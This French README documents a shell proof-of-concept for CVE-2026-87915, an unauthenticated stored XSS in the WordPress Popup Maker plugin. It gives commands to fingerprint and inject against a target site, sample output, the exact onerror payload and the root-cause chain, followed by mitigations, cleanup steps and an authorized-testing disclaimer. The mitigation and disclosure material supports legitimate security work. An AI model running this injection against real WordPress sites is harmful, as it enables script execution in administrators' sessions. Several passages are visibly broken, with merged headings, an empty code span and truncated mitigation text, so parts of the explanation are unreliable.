PoC shell pour CVE-2026-87915, une XSS stockée non authentifiée dans le plugin WordPress Popup Maker (<=1.24.0). Il identifie le plugin et démontre l'injection de la charge utile.
| Composant | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (extension WordPress) |
| Type | CWE-79 — Cross-Site Scripting stocké |
| Affecté | <= 1.24.0 |
| Corrigé | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
Un formulaire public d'optin/newsletter de Popup Maker accepte le paramètre values[Name] sans
assainissement (action=pum_sub_form). La valeur est stockée côté serveur puis affichée dans
l'écran d'administration Subscribers. Le filtrage wp_kses() appliqué en sortie est insuffisant
dans ce contexte : les entités HTML à l'intérieur des valeurs d'attributs autorisées survivent à la
normalisation et sont évaluées par le sink DOM jQuery( link.attr('href') ) dans
wp-admin/js/common.js lorsqu'un administrateur clique sur une ancre d'onglet d'aide contextuelle.
Effet net : XSS stocké non authentifié contre un administrateur (un clic requis côté admin).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
inject utilise par défaut un e-mail de test unique et affiche les étapes de nettoyage (interface
d'administration ou DELETE FROM wp_pum_subscribers WHERE email = '…';).
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject, labo)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (minuscules) est le champ normal ; le values[Name] à casse mixte entre en
collision lors de la normalisation des clés de tableau PHP et fait passer la charge utile.wp_kses() autorise l'élément <a href> ; le `` encodé en entités à l'intérieur
de l'attribut survit au filtrage et est décodé/normalisé plus tard.wp-admin/js/common.js évalue jQuery( link.attr('href') ), ce qui analyse le HTML décodé et
déclenche le gestionnaire onerror.esc_html() +
sanitize_text_field() sur la valeur stockée ; voir le changeset du fournisseur pour
classes/Admin/Subscribers/Table.php).values[Name] au niveau du WAF.Pour des tests de sécurité autorisés uniquement. check est en lecture seule ; inject crée
exactement une ligne d'abonné de test — supprimez-la ensuite avec la commande de nettoyage
affichée.